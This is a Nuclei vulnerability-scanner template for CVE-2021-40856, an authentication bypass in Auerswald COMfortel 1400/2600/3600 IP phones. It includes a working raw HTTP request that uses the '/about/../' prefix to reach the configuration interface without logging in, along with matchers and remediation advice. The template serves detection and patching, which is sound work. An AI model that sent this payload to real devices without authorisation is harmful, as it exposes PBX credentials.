nuclei-templates/http/cves/2021/CVE-2021-40856.yaml

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id: CVE-2021-40856
info:
name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
author: gy741
severity: high
description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
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remediation: |
Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-40856
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
- https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
- http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40856
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cwe-id: CWE-706
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epss-score: 0.02537
epss-percentile: 0.89015
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cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: auerswald
product: comfortel_3600_ip_firmware
tags: packetstorm,cve,cve2021,comfortel,auth-bypass,auerswald
http:
- raw:
- |
GET /about/../tree?action=get HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: word
part: body
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words:
- '"TYPE"'
- '"ITEMS"'
- '"COUNT"'
condition: and
- type: word
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part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a0047304502206c3761307ecb32e1eecbe1b04ea6c017319881301fb5434dd7f29b3e3caf3de0022100b62f95c256c0fc8b0858b77ff96c3cecf0e7a568ecd705a1af7c8f834cd93ca0:922c64590222798bb761d5b6d8e72950